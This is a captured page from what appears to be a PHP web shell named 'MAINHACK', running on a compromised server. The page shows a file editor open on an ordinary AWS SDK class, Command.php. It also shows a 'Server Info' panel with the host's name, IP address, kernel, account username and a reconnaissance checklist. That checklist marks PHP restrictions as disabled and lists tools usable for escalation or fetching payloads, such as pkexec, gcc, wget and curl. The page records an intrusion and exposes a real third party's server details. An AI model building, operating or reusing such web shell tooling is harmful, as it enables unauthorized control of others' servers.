[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Command.php
<?php namespace Aws; /** * AWS command object. */ class Command implements CommandInterface { use HasDataTrait; /** @var string */ private $name; /** @var HandlerList */ private $handlerList; /** @var Array */ private $authSchemes; /** * Accepts an associative array of command options, including: * * - @http: (array) Associative array of transfer options. * * @param string $name Name of the command * @param array $args Arguments to pass to the command * @param HandlerList $list Handler list */ public function __construct($name, array $args = [], ?HandlerList $list = null) { $this->name = $name; $this->data = $args; $this->handlerList = $list ?: new HandlerList(); if (!isset($this->data['@http'])) { $this->data['@http'] = []; } if (!isset($this->data['@context'])) { $this->data['@context'] = []; } } public function __clone() { $this->handlerList = clone $this->handlerList; } public function getName() { return $this->name; } public function hasParam($name) { return array_key_exists($name, $this->data); } public function getHandlerList() { return $this->handlerList; } /** * For overriding auth schemes on a per endpoint basis when using * EndpointV2 provider. Intended for internal use only. * * @param array $authSchemes * * @deprecated In favor of using the @context property bag. * Auth Schemes are now accessible via the `signature_version` key * in a Command's context, if applicable. Auth Schemes set using * This method are no longer consumed. * * @internal */ public function setAuthSchemes(array $authSchemes) { trigger_error(__METHOD__ . ' is deprecated. Auth schemes ' . 'resolved using the service `auth` trait or via endpoint resolution ' . 'are now set in the command `@context` property.`' , E_USER_WARNING ); $this->authSchemes = $authSchemes; } /** * Get auth schemes added to command as required * for endpoint resolution * * @returns array * * @deprecated In favor of using the @context property bag. * Auth schemes are now accessible via the `signature_version` key * in a Command's context, if applicable. */ public function getAuthSchemes() { trigger_error(__METHOD__ . ' is deprecated. Auth schemes ' . 'resolved using the service `auth` trait or via endpoint resolution ' . 'can now be found in the command `@context` property.`' , E_USER_WARNING ); return $this->authSchemes ?: []; } /** @deprecated */ public function get($name) { return $this[$name]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002